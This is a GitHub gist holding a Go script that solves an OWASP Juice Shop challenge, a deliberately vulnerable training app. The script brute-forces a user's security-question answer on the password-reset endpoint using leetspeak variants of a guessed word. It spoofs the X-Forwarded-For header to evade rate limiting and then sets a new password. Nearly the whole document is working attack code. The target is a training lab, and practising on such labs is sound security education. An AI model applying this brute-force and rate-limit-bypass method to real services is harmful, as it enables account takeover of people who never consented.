Skip to content

Instantly share code, notes, and snippets.

@cimi
Created October 26, 2019 17:23
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save cimi/e26cd4268396dfe5e2e3edf3f66f3509 to your computer and use it in GitHub Desktop.
Save cimi/e26cd4268396dfe5e2e3edf3f66f3509 to your computer and use it in GitHub Desktop.
Solution for OWASP Juice Shop challenge
package main
import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
"os"
"strconv"
"strings"
"unicode"
)
// Solution for OWASP Juice Shop challenge
// 'Reset Morty's password via the Forgot Password mechanism with his obfuscated answer to his security question.'
// https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/part2/broken-anti-automation.html
const seed = "snowball" // "snuffles"
func main() {
g := newGuesser(seed)
c := newChecker(&http.Client{})
attempts := 0
for guess := g.get(); guess != ""; guess = g.get() {
ok := c.send(guess)
if ok {
fmt.Printf("\nSuccess! %s", guess)
os.Exit(0)
}
attempts++
fmt.Printf("\r%s Attempt: %d", guess, attempts)
}
fmt.Println()
os.Exit(1)
}
type checker struct {
fakeIP string
client *http.Client
}
func newChecker(client *http.Client) *checker {
return &checker{
fakeIP: "0.0.0.0",
client: client,
}
}
func (c *checker) send(guess string) bool {
url := "http://localhost:3000/rest/user/reset-password"
jsonStr := fmt.Sprintf(`{"email":"morty@juice-sh.op","answer":"%s","new":"pwned","repeat":"pwned"}`, guess)
req, _ := http.NewRequest("POST", url, bytes.NewBuffer([]byte(jsonStr)))
req.Header.Add("Content-Type", `application/json`)
req.Header.Add("X-User-Email", `morty@juice-sh.op`)
req.Header.Add("X-Forwarded-For", c.fakeIP)
resp, _ := c.client.Do(req)
body, _ := ioutil.ReadAll(resp.Body)
attempts, _ := strconv.Atoi(resp.Header["X-Ratelimit-Remaining"][0])
if attempts < 5 {
c.fakeIP = c.newIP()
}
return string(body) != "Wrong answer to security question."
}
func (c *checker) newIP() string {
parts := strings.Split(c.fakeIP, ".")
final, _ := strconv.Atoi(parts[3])
if final > 254 {
panic("no more ips")
}
parts[3] = strconv.Itoa(final + 1)
return strings.Join(parts, ".")
}
var subs = map[rune]rune{
'a': '4',
'b': '8',
'e': '3',
'l': '1',
'o': '0',
's': '5',
't': '7',
'z': '2',
}
type guesser struct {
seed string
variants []string
idx int
}
func newGuesser(seed string) *guesser {
l := &guesser{
seed: strings.ToLower(seed),
}
l.generate()
return l
}
func (g *guesser) generate() {
var gen func(s string, idx int) []string
gen = func(s string, idx int) []string {
if idx == len(s) {
return []string{s}
}
r := []rune(s)
c := []rune{unicode.ToUpper(r[idx])}
if sub, ok := subs[r[idx]]; ok {
c = append(c, sub)
}
result := gen(s, idx+1)
for _, sub := range c {
r[idx] = sub
result = append(result, gen(string(r), idx+1)...)
}
return result
}
g.variants = gen(g.seed, 0)
}
func (g *guesser) get() string {
if g.idx < len(g.variants) {
res := g.variants[g.idx]
g.idx += 1
return res
}
return ""
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment